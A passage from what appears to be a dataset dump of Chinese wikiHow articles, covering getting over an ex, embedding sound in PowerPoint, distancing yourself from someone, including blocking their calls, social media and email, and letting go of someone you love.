3-3. 列出四点；一点你讨厌TA的地方，一件你从来无法认可的事，一个为什么你们不会有结果/为什么不是命中注定的原因，一个你期望伴侣有但前任没有的特质。
你倾向于记住TA以及恋情好的一面，也许希望以完美的方式记住TA，特别是如果TA对你很重要，而也许TA真的对你很重要。把这张单子放在一个触手可及的地方，每当你开始思考自己做了什么让恋情变了/究竟哪里错了时，就拿出来读一读。
3-4. 让自己更好受。
改变你的发型，买新衣服，做运动，吃得健康等等。记住人们给予你的所有赞扬（当然，包括前任的）。要知道很快会有人欣赏你的这些特质，就像前任曾经对你的欣赏一样。
3-5. 开始阅读书籍和/或观赏电视节目。这些东西能帮助你看到另一个世界。
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14,687 | 如何在PowerPoint演示文稿中嵌入音乐 | 1. 步骤
1-1. 在PowerPoint中，选中开始播放音乐的那张幻灯片。
1-2. 从菜单中，选择：插入>影片和声音>文件中的声音
1-3. 浏览对话框来选择音乐文件。
回答“想让声音文件在幻灯片放映时自动播放吗？”
1-4. 幻灯片上你会看到一个声音图标。
移动该图标，放到方便点击的地方。{"smallUrl":"https:\/\/www.wikihow.com\/images_en\/0\/0a\/Powerpointsound02.jpg","bigUrl":"https:\/\/www.wikihow.com\/images\/thumb\/0\/0a\/Powerpointsound02.jpg\/78px-Powerpointsound02.jpg","smallWidth":460,"smallHeight":442,"bigWidth":78,"bigHeight":75,"licensing":"<div class=\"mw-parser-output\"><\/div>"}
1-5. 要调整播放选项，右键单击声音图标，并选择“自定义动画”。
从下拉列表中选择效果选项。
1-6. PowerPoint将自动嵌入声音文件（默认大小最多100KB）。
大于默认设置的文件将以链接形式出现，不能嵌入到幻灯片中。
1-7. 要想增加默认设置到50,000 K的大小，选择：工具>选项
1-8. 在“选项”对话框中，选择“一般”选项卡。
把100 KB改到任意数值，但最高50,000 KB。点击“确定”。
1-9. 声音文件若大于默认大小限制就不能嵌入，而是以链接形式存在于幻灯片中。
转移演示文稿时，必须将演示文稿文件、链接文件一起复制过去。如果声音文件是演示文稿文件中嵌入的一部分（在大小限制范围内），无需一起复制。
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14,688 | 如何无视你想绝交的人 | 1. 疏远他人的方法
1-1. 避开那个人肯定会去的地方。
疏远那个人有一个最简单的办法，就是避免碰面。你可以想办法减少碰到他的几率，比如别去你们以前经常一块去的地方，避开那个人常去的地方。
试着找找新餐厅、酒吧和咖啡店，避开那个人住所附近。
如果你知道那个人住在哪里，尽量到离那里比较远的商店购物。
如果有你们共同的朋友邀请你到什么地方，先问问对方你不想见的那个人会不会去，然后再决定你要不要去。
1-2. 减少与那个人的互动。
减少接触是一个不必做得太绝又可以疏远他的好办法。如果你们有一些关联或者经常去同一个地方，跟这个人断绝关系就会比较困难。但是你可以避免跟此人经常交流，这样会感觉好一点。
减少对话、互动频率，说话时尽量简短。简单回复，不要带感情色彩，不要扩展你说的内容。比如你可以说：“我很好。我得回去工作了。”
尽量别说难听或伤人的话，这样只会让情况更糟。
通过跟这个人减少接触、避免不必要的互动，你既可以断绝联系，又不会做得太绝，搞得将来连简单寒暄都没法做。
1-3. 拒绝那个人的主动搭讪。
无论你们是在一起工作，有共同的朋友，还是偶尔会在街上碰到，如果对方试图跟你说话，你都要忍住，这一点很重要。在他搭讪的时候，你可以直接无视他。
不要和那个人眼神接触。
不要理那个人说什么，忍住不要回应。
如果你在一个社交场合必须得说点什么，只需表达自己对某件事的看法或情绪，不要跟那个人说的话扯上关系。
无论你是直接忽略对方说的话，还是假装没听到或者不懂他说什么，只管谈你自己的看法。这样你就可以传递出一个信息——你对他说的话毫无兴趣。
1-4. 如果你不得不跟那个人说话，找一个缓冲者的角色。
如果在工作或社交场合确实避不开那个人，那么带上一个局外的朋友会有帮助。这个朋友可以在你和你的绝交对象见面的场合起到缓冲作用。在那个人试图用任何手段胡闹的时候，他可以随时控制局面，也可以把你们的对话引到其它不相干的话题上去。
告诉这位缓冲者你需要他做什么。一定要提前向你的朋友确认他愿意扮演这个角色，以免他后面搞不清楚状况或者感觉被人利用。
约定一个非语言暗号，这样一来假如你想赶紧离开，你们俩都可以抽身。
1-5. 客气地对待避不开的人。
如果有些人你实在躲不开，可以特别客气地对待他们。 有时友善是对抗敌对行为最好的武器。
不要粗鲁地对待你不喜欢的人。
态度要坚定、自信。想想你自己的优点，记住你有让自己幸福的能力和权利。
不要让你的绝交对象用负面的言行击垮你。不要跟他搅在一起，你要超越他。
当你想口出恶言时，忍住，说一些好话，然后打个招呼直接离开。比如你可以说：“这周你的展示做得真不错。不好意思，我再去倒杯咖啡。”
1-6. 立场坚定，保持强大的安全感。
你想方设法疏远的人很有可能比较消极或者让人不太愉快。这种人总会有意无意地激怒你。他们会说你这样冒险很傻，或者劝你不要怀抱希望和梦想。如果你决定和一个人断交，一定要立场坚定，不要让那个人影响你或改变你。
即使你感觉缺乏安全感或者自己不够坚强，一定要相信你可以变得坚强，这点很重要。它会在你和负面人物之间构筑一道缓冲带。
不要让别人的负面言行影响你对自己或生活的看法。通过积极的自我肯定和自我暗示消除他给你注入的消极想法。
提醒自己你是一个好人，你的家人朋友关心你。这证明你有优点和长处，只是那个人拒绝承认。
2. 切断电子通讯
2-1. 把你的绝交对象加入电话黑名单中。
如果你想与那个人断绝联系，可以考虑阻止他给你打电话或发信息。如果你们平常没有什么联系自然就没这个必要，但是这样做也没什么坏处。
如果你用苹果手机，从通讯录名单中找到那个人，点击“阻止此来电号码”。
如果要在安卓系统的手机上屏蔽电话或短信，进入“通话设置”，选择“来电拒绝”，这样就会进入“拦截名单”。你可以在这个位置搜索和添加你想屏蔽的电话号码。
如果要在Windows系统的手机上屏蔽电话和短信，进入“设置”界面，选择“来电+短信拦截”，然后开启“来电拦截”功能。选中你想屏蔽的号码，点击“屏蔽号码”，然后点“是”。
如果你用的是黑莓手机，你需要打电话给对应的无线运营商，请他们帮你屏蔽某个号码。
2-2. 切断社交媒体上的联系。
就算你可以避免跟那个人碰面，他仍然有可能通过社交媒体与你联系。如果在社交网站上你们互为好友或者你关注了他，他就可以知道你在干什么或者你在哪里，可能会通过社交媒体给你发送威胁或骚扰信息。
如果你在社交网站上和那个人是好友或者关注了那个人，可以对他取消关注。你也可以屏蔽那个人，这样他就无法看到你发布的内容，没法联系你了。
如果你在社交网站上和那个人不是好友，也没有关注他，或者已经对他取消关注了，你还可以修改隐私设置，将你发布的内容设为仅好友可见。
2-3. 阻止那个人给你发邮件。
如果你的绝交对象知道你的邮箱，你可能会担心收到他的挑衅邮件。你可以选择屏蔽那个联系人，或者过滤掉他发给你的所有消息，具体操作要看你用的邮箱服务器。
如果要用Gmail过滤某人的邮件，在收件箱中先选择对方发给你的任意一封邮件，勾选邮件前面的框。点击“更多操作”，从下拉菜单中选择“过滤此类邮件”，然后在出现的新页面勾选“删除”选项。
如果要在微软的Outlook中屏蔽某人，只需鼠标右键点击他发来的一封邮件，然后单击“垃圾邮件”，再点击“阻止发件人”。
3. 捍卫自己的幸福
3-1. 正视你们疏远的原因。
有些时候你可能无法避免和负面人物打交道。无论他是同事、亲戚还是邻居，你可能都要时不时打一点交道或者说说话。在这些情况下有一点很重要，那就是你要正视你们疏远的原因，对这些诱发因素有所觉察，以免再次陷入困境。
把让你感到不开心、生气或沮丧的人、事、地方列一个清单。
想想这些人、事、地方为什么会触发你的负面反应。
想想这些触发因子会在哪些日常生活场景中出现，筹划一些可以帮你避免或减少这些情况的策略。
3-2. 对于你不喜欢的人，要克制抱怨的冲动。
即使你很想发泄怨气，但是真的发泄出来只会让其他人远离你。他们可能恰好与你不喜欢的这个人是朋友，或者已经听腻了你数落别人的不是。如果你经常满腹牢骚，经常和你在一起的朋友、同事甚至会有可能疏远你。
不必数落你绝交对象的不是，你可以摆明立场，绝不在任何对话中提到这个人。
找其他人聊一些你喜欢的、正面的事，否则你会因为讨厌的人浪费很多时间和精力。
3-3. 为自己的言行负责。
当你把自己恶言恶行的责任推给其他人时，代表你把自我掌控权交到了对方手里。无论别人让你多难受，你是选择让自己与这份愤怒、沮丧纠缠在一起，还是让它像浮云般掠过，都由你决定。你的言行即使是出于你对他人的不满，依然是你的选择和责任。
你的言行不是瞬间无影踪的泡沫。就算那个绝交对象让你非常难受，你也不把自己言行的责任推给别人。
试着改变你对那个人的看法。你的想法会影响你的言行，所以觉察和克制负面想法可以避免对它们的过分重视。
一旦你学会无视那个让你难受的人，忘记他。不要浪费你的时间和精力去想那个人，如果你发现自己又在想他的事，告诉自己立刻停止。
4. 把积极的人拉到你的生活中
4-1. 认识自己的闪光点并展现出来。
物以类聚人以群分，积极的人通常会靠近积极的人。如果你想让自己的生活中多一些积极的朋友，首先应该让他们知道你也是一个积极向上的人。一旦你意识到自己最出色、最可取的品质有哪些，就可以用一些不着痕迹的方式展现出来。
想想你的积极表现在哪些方面。例如你会赞美别人或者努力表达善意吗？
有意识地多参与一些活动，不只是为了让别人看到，更是为自己营造一种更积极的生活方式。
用行动代替语言来证明你是什么样的人，你如何生活。
4-2. 分辨、寻找你已经认识的积极人士。
你的生活中很可能已经有一些非常坚强、积极阳光的人。在跟一些绝交对象划清界限之后，有必要让你愿意来往的人填补这些空缺。一般说来，最好跟积极的、懂得关心别人的朋友密切交往，因为他们会是很好的朋友，而且可以影响你成为更好的人。
想想始终积极面对逆境的朋友、家人和同事。再想想哪些是你生活中最体贴、最有同情心的人。
主动靠近这些人。和他们多聚一聚，试着邀请他们参加一些社交活动，你们就有更多时间相处了。
4-3. 认识一些积极的新朋友，与他们待在一起。
除了你已经认识的人之外，你还应该积极搜寻更多积极的人，与他们交朋友。寻找积极、有同情心的新朋友可以帮你进一步巩固正面社交圈，也可以让你自己逐渐成为一个他人眼中更理想的朋友。
留意你平常去的健身房、宗教团体或徒步社之类的户外活动组织，还有其它地方，可能会有积极人士出没。
参与志愿活动。做志愿者的感觉很好，你还会碰到其他同样关心公共事业的人，而且这些人一般都很积极、富有同情心。
就算只是相聚片刻也会对你的情绪和想法产生正面效果，比如一起喝杯咖啡，吃顿午餐。
小提示
如果你在商店或者商场碰到那个人，假装没看见。你可以改变你的步行速度、停下来或者直接转身离开。如果他跟你说话，告诉他你赶时间，必须得离开。如果这些都不管用，干脆保持沉默。
单凭这个人跟你有关这一个理由，不能证明你对他的负面行为必须逆来顺受。如果有人让你难受或者伤害你，你完全有权利在尊重对方的前提下礼貌地跟他断绝联系。
不要以粗鲁或尖刻的方式回击那个人。这样做既不能修复他对你造成的伤害，还会让你变得更糟。
考虑对方的感受。想想如果你是他，你会有什么感觉。比方说如果你疏远的是一个认识很长时间的人，他可能会觉得很意外，可能希望跟你好好谈一谈并愿意做出让步。
警告
如果你下定决心要长时间疏远那个人，要做好心理准备，你们俩很有可能再也不会说话了，你要接受这个后果。
某一刻你可能突然想和那个你主动疏远的人聊一聊，试着解决矛盾。记住这不一定行得通。但如果他是你不得不经常碰面的人，比如亲属或同事，这样做是有必要的。
如果那个人是虐待你的配偶，或者是你的男朋友或女朋友，你不理不睬可能会激怒对方，让情况更糟糕。这种情况要寻求专业援助，逃出魔掌！
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\"如果你想与那个人断绝联系，可以考虑阻止他给你打电话或发信息。如果你们平常没有什么联系自然就没这个必要，但是这样做也没什么坏处。\\n如果你用苹果手机，从通讯录名单中找到那个人，点击“阻止此来电号码”。\\n如果要在安卓系统的手机上屏蔽电话或短信，进入“通话设置”，选择“来电拒绝”，这样就会进入“拦截名单”。你可以在这个位置搜索和添加你想屏蔽的电话号码。\\n如果要在Windows系统的手机上屏蔽电话和短信，进入“设置”界面，选择“来电+短信拦截”，然后开启“来电拦截”功能。选中你想屏蔽的号码，点击“屏蔽号码”，然后点“是”。\\n如果你用的是黑莓手机，你需要打电话给对应的无线运营商，请他们帮你屏蔽某个号码。\"}, {\"编号\": 2, \"标题\": \"切断社交媒体上的联系。\", \"描述\": \"就算你可以避免跟那个人碰面，他仍然有可能通过社交媒体与你联系。如果在社交网站上你们互为好友或者你关注了他，他就可以知道你在干什么或者你在哪里，可能会通过社交媒体给你发送威胁或骚扰信息。\\n如果你在社交网站上和那个人是好友或者关注了那个人，可以对他取消关注。你也可以屏蔽那个人，这样他就无法看到你发布的内容，没法联系你了。\\n如果你在社交网站上和那个人不是好友，也没有关注他，或者已经对他取消关注了，你还可以修改隐私设置，将你发布的内容设为仅好友可见。\"}, {\"编号\": 3, \"标题\": \"阻止那个人给你发邮件。\", \"描述\": \"如果你的绝交对象知道你的邮箱，你可能会担心收到他的挑衅邮件。你可以选择屏蔽那个联系人，或者过滤掉他发给你的所有消息，具体操作要看你用的邮箱服务器。\\n如果要用Gmail过滤某人的邮件，在收件箱中先选择对方发给你的任意一封邮件，勾选邮件前面的框。点击“更多操作”，从下拉菜单中选择“过滤此类邮件”，然后在出现的新页面勾选“删除”选项。\\n如果要在微软的Outlook中屏蔽某人，只需鼠标右键点击他发来的一封邮件，然后单击“垃圾邮件”，再点击“阻止发件人”。\"}]}, {\"编号\": 3, \"标题\": \"捍卫自己的幸福\", \"步骤\": [{\"编号\": 1, \"标题\": \"正视你们疏远的原因。\", \"描述\": \"有些时候你可能无法避免和负面人物打交道。无论他是同事、亲戚还是邻居，你可能都要时不时打一点交道或者说说话。在这些情况下有一点很重要，那就是你要正视你们疏远的原因，对这些诱发因素有所觉察，以免再次陷入困境。\\n把让你感到不开心、生气或沮丧的人、事、地方列一个清单。\\n想想这些人、事、地方为什么会触发你的负面反应。\\n想想这些触发因子会在哪些日常生活场景中出现，筹划一些可以帮你避免或减少这些情况的策略。\"}, {\"编号\": 2, \"标题\": \"对于你不喜欢的人，要克制抱怨的冲动。\", \"描述\": \"即使你很想发泄怨气，但是真的发泄出来只会让其他人远离你。他们可能恰好与你不喜欢的这个人是朋友，或者已经听腻了你数落别人的不是。如果你经常满腹牢骚，经常和你在一起的朋友、同事甚至会有可能疏远你。\\n不必数落你绝交对象的不是，你可以摆明立场，绝不在任何对话中提到这个人。\\n找其他人聊一些你喜欢的、正面的事，否则你会因为讨厌的人浪费很多时间和精力。\"}, {\"编号\": 3, \"标题\": \"为自己的言行负责。\", \"描述\": \"当你把自己恶言恶行的责任推给其他人时，代表你把自我掌控权交到了对方手里。无论别人让你多难受，你是选择让自己与这份愤怒、沮丧纠缠在一起，还是让它像浮云般掠过，都由你决定。你的言行即使是出于你对他人的不满，依然是你的选择和责任。\\n你的言行不是瞬间无影踪的泡沫。就算那个绝交对象让你非常难受，你也不把自己言行的责任推给别人。\\n试着改变你对那个人的看法。你的想法会影响你的言行，所以觉察和克制负面想法可以避免对它们的过分重视。\\n一旦你学会无视那个让你难受的人，忘记他。不要浪费你的时间和精力去想那个人，如果你发现自己又在想他的事，告诉自己立刻停止。\"}]}, {\"编号\": 4, \"标题\": \"把积极的人拉到你的生活中\", \"步骤\": [{\"编号\": 1, \"标题\": \"认识自己的闪光点并展现出来。\", \"描述\": \"物以类聚人以群分，积极的人通常会靠近积极的人。如果你想让自己的生活中多一些积极的朋友，首先应该让他们知道你也是一个积极向上的人。一旦你意识到自己最出色、最可取的品质有哪些，就可以用一些不着痕迹的方式展现出来。\\n想想你的积极表现在哪些方面。例如你会赞美别人或者努力表达善意吗？\\n有意识地多参与一些活动，不只是为了让别人看到，更是为自己营造一种更积极的生活方式。\\n用行动代替语言来证明你是什么样的人，你如何生活。\"}, {\"编号\": 2, \"标题\": \"分辨、寻找你已经认识的积极人士。\", \"描述\": \"你的生活中很可能已经有一些非常坚强、积极阳光的人。在跟一些绝交对象划清界限之后，有必要让你愿意来往的人填补这些空缺。一般说来，最好跟积极的、懂得关心别人的朋友密切交往，因为他们会是很好的朋友，而且可以影响你成为更好的人。\\n想想始终积极面对逆境的朋友、家人和同事。再想想哪些是你生活中最体贴、最有同情心的人。\\n主动靠近这些人。和他们多聚一聚，试着邀请他们参加一些社交活动，你们就有更多时间相处了。\"}, {\"编号\": 3, \"标题\": \"认识一些积极的新朋友，与他们待在一起。\", \"描述\": \"除了你已经认识的人之外，你还应该积极搜寻更多积极的人，与他们交朋友。寻找积极、有同情心的新朋友可以帮你进一步巩固正面社交圈，也可以让你自己逐渐成为一个他人眼中更理想的朋友。\\n留意你平常去的健身房、宗教团体或徒步社之类的户外活动组织，还有其它地方，可能会有积极人士出没。\\n参与志愿活动。做志愿者的感觉很好，你还会碰到其他同样关心公共事业的人，而且这些人一般都很积极、富有同情心。\\n就算只是相聚片刻也会对你的情绪和想法产生正面效果，比如一起喝杯咖啡，吃顿午餐。\"}], \"小提示\": [\"如果你在商店或者商场碰到那个人，假装没看见。你可以改变你的步行速度、停下来或者直接转身离开。如果他跟你说话，告诉他你赶时间，必须得离开。如果这些都不管用，干脆保持沉默。\\n\", \"单凭这个人跟你有关这一个理由，不能证明你对他的负面行为必须逆来顺受。如果有人让你难受或者伤害你，你完全有权利在尊重对方的前提下礼貌地跟他断绝联系。\\n\", \"不要以粗鲁或尖刻的方式回击那个人。这样做既不能修复他对你造成的伤害，还会让你变得更糟。\\n\", \"考虑对方的感受。想想如果你是他，你会有什么感觉。比方说如果你疏远的是一个认识很长时间的人，他可能会觉得很意外，可能希望跟你好好谈一谈并愿意做出让步。\\n\"], \"注意事项\": [\"如果你下定决心要长时间疏远那个人，要做好心理准备，你们俩很有可能再也不会说话了，你要接受这个后果。\\n\", \"某一刻你可能突然想和那个你主动疏远的人聊一聊，试着解决矛盾。记住这不一定行得通。但如果他是你不得不经常碰面的人，比如亲属或同事，这样做是有必要的。\\n\", \"如果那个人是虐待你的配偶，或者是你的男朋友或女朋友，你不理不睬可能会激怒对方，让情况更糟糕。这种情况要寻求专业援助，逃出魔掌！\\n\"]}]}}",
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} | wikihow |
14,689 | 如何放下你爱的人 | 1. 释放所有情绪
1-1. 哭。
放声痛哭。把头埋进枕头里尖叫。对着墙大喊。在放下过去的初始阶段，你会感到痛苦。你必须在很长一段时间内与这种痛苦相伴，忍过去了才能真正翻篇。
一味否认是没用的。忽略不好的感觉并不能让这种感觉消失。反之，忽视感情只会增加以后情绪大爆发的风险。
如果你需要物理方法帮你释放情绪，建议去健身房，把你的悲伤发泄在吊袋上。
1-2. 抵制愤怒的诱惑。
你的一部分情绪可能真的非常愤怒。这是可以理解的。但是，你应该避免让愤怒扭曲或屏蔽你的痛苦。愤怒会让你感觉不那么脆弱，但唯一有效的办法就是接受现状，尽情悲伤。
此外，愤怒往往是强迫性的。如果你讲你的前任或单恋对象的坏话，或者死咬着对方做错的每件小事不放，那么你的脑子里依然满满的全是对方。换句话说，愤怒会让你裹足不前，而不能让你向前进。
1-3. 享受偶尔的放纵。
给自己买一盒巧克力并吃一整晚。直接在浴缸里吃冰淇淋。购买你已经关注了几个月的名牌手袋或新产品。因为你正在经历一段艰难时期，所以你可能需要自我破坏才能使你的心情变好。
即便如此，你也应该为自己设定限制。如果你因此欠债，或者满屋垃圾，或胖了30多斤，你只会感到比以前更痛苦。放纵自己，但是要保持适当的度，避免不健康的行为。
1-4. 听欢快的音乐。
音乐可以帮助人们放松和表达情感。听分手音乐似乎是一个好主意，因为他们似乎能够分担你的痛苦，但长时间的播放这种类型的歌曲只会让你更伤心。拿出你最喜欢的非悲伤类型的音乐，然后重复听一会儿，即使你想要放下的人只是你有好感的，并不是前任，你也可以这样做。
如果你没有属于自己的欢快歌曲列表，你可以在线做一些调查。你可以只简单地搜索“好心情的歌”或“关于暗恋的歌曲”就行。
从物理的角度来看，听音乐是科学上已知的有效的治疗方式。它可以降低心率和缓解压力。
1-5. 让自己感觉麻木。
大哭过后，你可能会感到有点麻木或心死了。此时请不要惊慌，这对很多人来说是再自然不过的反应了。
通常来说，感觉麻木纯粹是因为疲惫。哭泣和其他形式的高能情感会让你身心俱疲。因此，在你经历了这些情感周期后，你可能会感觉太累而没办法感觉到其他事情。
1-6. 与朋友商量。
密友的肩膀是你可以依靠的。有时谈论你的感情是一个很好的发泄途径，这能帮你向前看。
可以给你建议的朋友是一个很好的交谈对象，但任何愿意倾听你的故事的朋友都能够起到一点点作用。因为发泄情绪和解决问题一样重要。
尊重朋友。虽然你的好朋友不会因为你在情绪崩溃时凌晨4点给他打电话而怪你，但即便如此，你也应该限制这样做的频率。你有资格悲伤，但你仍然应该体贴你周围的人。
1-7. 记日记。
如果你想让你的朋友休息一下，或是你认为没有人能让你足够舒适地与之交谈，那么就把你的感受写下来。这种做法也可以帮助你释放和发泄压抑的情绪。
记下任何你在放下过去的过程中留下的记忆或遇到的困难。
你也可以使用你的日记来记录那些你不敢对别人说的事情。
1-8. 限制自己沉浸在悲伤中的时间。
你需要给时间让自己难过，同时你也需要知道，到了什么时候你就必须强迫自己走出来了。
预先设定一个日期或大体的时间框架。给自己其中一半的时间用在思念前任或单恋对象上面。在这段时间里你可以随意忧郁。之后即使你仍然觉得闷闷不乐，也必须把这一页翻过去了。
2. 断绝联系
2-1. 避免不必要的接触。
这意味着你不要去打电话、发邮件，不要在已经偷偷知道对方每天晨跑的情况下还假装不期而遇。如果你想要彻底放下某人，你就需要和对方保持足够远的距离，才能给自己一个机会去想其他的事情。
当然，如果你和对方是同事或同学，这就可能是很困难的了。在这种情况下，你能做的最好的事情就是限制那些在日常生活中不可避免的对话发生的频率。你不需要因为想要摆脱一段关系就打乱日常生活，但是你不应该刻意去寻找那个人。
2-2. 别在网上关注人家了。
停止查看他/她的社交网站、微博、博客、品趣志或其他任何与那个人有关的社交媒体账户。专注于对方目前在做些什么只会让你更难摆脱困扰。
如果你觉得无法抗拒查看对方社交媒体动态的诱惑，而仍与对方保持相互关注状态，那么请和对方解除好友关注或径自取消关注对方。
如果对方曾经给过你他/她的账户密码，请要求对方更改密码，从而消除诱惑。
2-3. 永远不要和你要放下的人发生亲密关系。
无论是身体上的还是情感上的都不可以。
不要顾念旧情和前任发生关系，或是一念之差就落入陷阱去当对方的炮友。
只是字面上解除男女朋友关系的这种所谓的“摆脱过去”，对于男女双方来说都是一个坏主意，但它对女性来说尤其糟糕。因为肉体上的亲密关系会导致女性产生一种激素，这种激素叫催产素，会诱使人产生感情。 后果就是，你没法把这种激素从身体系统中去除。你只会感到比以前更离不开对方。
情感上的亲密也同样危险，即使你们两个之前确实非常亲密。这种情感上的联系是在更深层次上起作用的，它会让你更难与对方分开。
2-4. 扔掉任何提醒你这段关系的东西。
即使你断绝了关系，避免直接与对方交流，但如果你的房间充满了与对方有关的回忆的话，你可能还是无法成功放下。
通常情况下，最好的办法就是把任何与之相关的东西收拾起来，把它们放好，直到你完全放下这段感情了为止。你也可以不用扔掉它们，而是选择把特定的一些物品还回去，诸如个人的光盘、电影带等。
不管你现在为了摆脱过去有多么绝望，你都应该尽量避免把这些东西都扔掉，或是夸张地放火焚烧以解放自己。因为东西一旦消失了，它就一去不复返了。如果你扔掉一块昂贵的手表，或是烧掉了最喜欢的歌手的亲笔签名海报，只是因为这样东西让你想到了前任，你以后也许会后悔的。
2-5. 准备好后再和好。
与你想象的相反，你是可以和曾经交往过的人做朋友的。如果最终证明不可能再做朋友，至少你们可以彼此重新建立足够的尊重，这样你们两个也可以共处一室而相安无事，不会打起来。
但不要强迫自己去和好。如果你不能从他给你的伤害中恢复过来，感觉和好太难了，你也完全没必要强迫自己忍受。
只有在你接受你和对方已经没有任何可能的这个事实后，再开始和好的过程。
别做太多努力。尝试一次，如果对方没领情，就别非得和好了。向前看吧。
3. 好好生活，向前看
3-1. 离开家。
去散步。去旅行。去探险，了解伟大的未知，你还可以去了解了解你之前觉得不太有意思的事情。关键是你需要从床上爬起来，用实际行动去放下过去，哪怕你内心其实无比希望自己能花一天时间躺在床上，没完没了地看悲伤的电影。。
活跃起来。当你想要努力忘记某个人的时候，身体活动是再好不过的选择。相比之下，日复一日地赖在沙发上，只会让你越来越讨厌自己。
3-2. 跟其他朋友出去玩。
朋友会帮你放下一段感情，即使你把他们的肩膀都哭湿也没关系。如果你想让自己感觉好一点，把注意力从前任身上转移开，那么和一些亲密的朋友在镇上玩一晚上是很有效的。
你的朋友可能也会为此感到高兴，特别是如果你花了很多时间去追求迷恋对象而忽视了朋友们的话。
但是你还是得注意别让你的朋友在你准备好走出来之前，就帮你物色一段新恋情。
3-3. 结识新朋友。
这似乎是非常困难的，但它也会对你彻底恢复元气产生巨大的作用。通过结识新朋友，你会发现还是会有人欣赏你、爱你的。同样，你也会意识到“天涯何处无芳草”。
新朋友起到的作用就像尝试一项新兴趣一样。结交新朋友可以帮你更好地释放之前一段关系带来的紧张和压力，也能帮你避免陷入“反弹式爱情”（意思是结束一段爱情后很快又进入了另一段新的爱情关系）中。
3-4. 自己控制时间。
不要强迫自己去约会。简而言之，什么时候你准备好了，什么时候你就可以去了。
反弹式爱情或一夜情只会让你感觉更糟，尤其是当你意识到你并没有那么喜欢对方的时候。
3-5. 爱自己。
最重要的一点，你要知道你是值得被爱的，不要去管别人的想法或感觉。
花时间做你喜欢的事情，如果之前你花了太多时间和前任在一起，或者是你试图去做其他事情来讨好单恋对象，以致于自己没有时间做真正喜欢的事，那么这一点就尤其有意义了。
不要去承担所有的责任。你要知道事情并不都是命中注定的。没有好结果并不意味着你犯了错，或是你不值得被爱。
4. 具体情况——迷恋
4-1. 结束迷恋。
从迷恋中清醒过来看起来似乎比从分手中恢复过来更容易，但事实并非总是如此。
为了结束迷恋，你需要接受自己的感情，但需要和迷恋对象保持距离，下定决心放下这段感情。
如果你是刚刚开始产生迷恋情愫的中学生，那么你可能会觉得更难摆脱这种感情。试着与其他异性熟悉起来，并学习如何用现实的眼光去审视你迷恋的对象。
4-2. 结束不恰当的感情。
有许多情感是不适当的，比如说，对方可能已经结婚了，对方对你而言可能太过年轻，或者对方可能是你的同事或下属，而所在公司却禁止办公室恋情。
你需要做的最重要的事情，就是学会自我控制。
要知道为什么不该继续迷恋对方，时刻提醒自己，如果继续放任自己迷恋对方可能造成什么后果。
4-3. 放弃不会结果的感情。
即使你已经知道对方不会回应你的感情，但你可能仍然很难去放下这些感情。
尽量避免与对方的非必要的接触，调整自己的视角，这样你可能会了解到为什么与那个人在一起是很糟糕的事情。
照顾好自己，也要鼓励自己开始注意其他你有好感的、可能有机会发展的异性。
4-4. 停止迷恋上你的密友。
暗恋自己的朋友是最棘手的情况，尤其当对方是你最好的朋友或其他亲密的朋友的情况下。为了真正放下，你需要把友谊看得最重。
停止暗恋你的朋友。不要试图介入你的朋友和他喜欢的女孩之间，也不要去担心他会如何看待你。
4-5. 不要再为自己之前拒绝了一个追求者而后悔。
如果你突然发现自己对曾经追求过你的人有感觉了，你可能会后悔当时拒绝那个人的决定。
自重自爱。不要一味沉迷于过去。
记住你起初拒绝对方的原因，然后考虑你当下的感觉是否是真实的。
4-6. 停止迷恋那些已经有交往对象的人。
如果你喜欢的人已经有了对象，那么你能做的最后一件事就是努力不要再去干涉对方。
停止暗恋已经名花有主的女孩。你得知道你和那个女孩只能成为朋友，而且你不能去诱惑她，把她置于两难境地之下。
停止暗恋已经名草有主的男孩。接受现实情况。不要想着你们三个人之间会有什么戏剧性的情况发生。
5. 具体情况——分手
5-1. 分手后就向前看。
无论你在这段关系中投入了多少时间，分手总是会让你感到痛苦的。
如果是你提出分手的话，不要再重新去考虑你的决定是否正确。
提醒自己你们的关系中存在的（不可调和的）问题，而不是专注于你有多想念对方。
5-2. 分手后就要向前看。
即使是你决定分手的，你也可能仍然很难真正让这段感情过去。
诚实地面对你的感情。
抵制想要跟前任再续前缘的诱惑，即便你仍然爱着对方。
5-3. 在你们分手之后，试试拯救你的友谊。
如果你的爱人同时也是你的朋友，你可能不会希望在分手之后就失去这个朋友。
接受分手后最初的痛苦和尴尬。
与对方保持联系，但避免去对方经常光顾那些地方，也不要跟你的现任在前任面前秀恩爱。
5-4. 在经常能看到对方的情况下放下对方。
有时候，你会无可避免地经常看到你的前任，这会让你更难放下这段感情。
不要去刻意躲避对方，但是要避免频繁的目光接触或不必要的沟通。
5-5. 在对方比你先放下的情况下走出来。
如果你发现前任已经从你们这段关系中走出来、向前看了，你会发现自己却反而更难放下了。
接受悲伤的感觉，但不要细想。展望未来，而不是沉迷于过去。
5-6. 治愈与初恋分手的痛苦。
当你和你非常非常爱的第一个人，而且是很可能共度余生的那个人分手时，这个过程可能会更难受。
你需要理清思绪，不断地提醒自己分手的原因是什么。
爱自己，然后再学会爱别人。
永远要对自己诚实，学会依靠朋友来帮你度过这个艰难的时段。
5-7. 放下欺骗了你的感情的人。
如果你在对方欺骗了你之后和对方分手，你可能还会对这个人抱有感情，即使你知道这段关系结束了会更好。
找到另一个你感兴趣的、有潜在发展可能的人。不要害怕和别人谈情说爱并再次坠入爱河。
看到自己的价值。不要因对方的不忠而责怪自己。
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与朋友商量。\\n密友的肩膀是你可以依靠的。有时谈论你的感情是一个很好的发泄途径，这能帮你向前看。\\n可以给你建议的朋友是一个很好的交谈对象，但任何愿意倾听你的故事的朋友都能够起到一点点作用。因为发泄情绪和解决问题一样重要。\\n尊重朋友。虽然你的好朋友不会因为你在情绪崩溃时凌晨4点给他打电话而怪你，但即便如此，你也应该限制这样做的频率。你有资格悲伤，但你仍然应该体贴你周围的人。\\n1-7. 记日记。\\n如果你想让你的朋友休息一下，或是你认为没有人能让你足够舒适地与之交谈，那么就把你的感受写下来。这种做法也可以帮助你释放和发泄压抑的情绪。\\n记下任何你在放下过去的过程中留下的记忆或遇到的困难。\\n你也可以使用你的日记来记录那些你不敢对别人说的事情。\\n1-8. 限制自己沉浸在悲伤中的时间。\\n你需要给时间让自己难过，同时你也需要知道，到了什么时候你就必须强迫自己走出来了。\\n预先设定一个日期或大体的时间框架。给自己其中一半的时间用在思念前任或单恋对象上面。在这段时间里你可以随意忧郁。之后即使你仍然觉得闷闷不乐，也必须把这一页翻过去了。\\n2. 断绝联系\\n2-1. 